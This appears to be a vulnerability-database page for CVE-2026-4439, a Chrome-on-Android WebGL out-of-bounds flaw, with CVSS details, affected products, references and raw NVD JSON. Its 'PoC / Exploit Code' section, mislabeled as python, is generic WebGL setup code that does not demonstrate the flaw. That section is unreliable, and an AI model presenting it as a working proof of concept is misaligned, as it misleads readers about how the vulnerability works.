CVE-2026-4439

Description

Out of bounds memory access in WebGL in Google Chrome on Android prior to 146.0.7680.153 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on Android < 146.0.7680.153

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-4439 -->
<!-- This HTML page attempts to trigger the WebGL out of bounds access -->
<html>
<body>
    <h1>CVE-2026-4439 PoC Test</h1>
    <canvas id="glCanvas"></canvas>
    <script>
        // Attempt to obtain the WebGL context
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl');

        if (gl) {
            console.log("WebGL context initialized.");

            // Create a buffer and bind it
            const buffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);

            // Inject data to potentially trigger the vulnerability
            // Specific size and values might be needed for actual exploitation
            const data = new Float32Array(0x10000);
            gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW);

            // Perform drawing operations that might access out of bounds memory
            gl.vertexAttribPointer(0, 3, gl.FLOAT, false, 0, 0);
            gl.enableVertexAttribArray(0);
            gl.drawArrays(gl.TRIANGLES, 0, 3);
        } else {
            console.log("WebGL not supported.");
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4439
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4439
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4439/
[4] VulDB https://vuldb.com/cve/CVE-2026-4439
[5] https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_18.html
[6] https://issues.chromium.org/issues/475877320

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4439", "sourceIdentifier": "[email protected]", "published": "2026-03-20T02:16:36.400", "lastModified": "2026-03-20T19:20:32.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds memory access in WebGL in Google Chrome on Android prior to 146.0.7680.153 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)"}, {"lang": "es", "value": "Acceso a memoria fuera de límites en WebGL en Google Chrome para Android anterior a 146.0.7680.153 permitió a un atacante remoto realizar potencialmente un escape de sandbox a través de una página HTML manipulada. (Gravedad de seguridad de Chromium: Crítica)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "146.0.7680.153", "matchCriteriaId": "3526166A-E44B-47EE-8E47-1C1937CB2B87"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_18.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/475877320", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}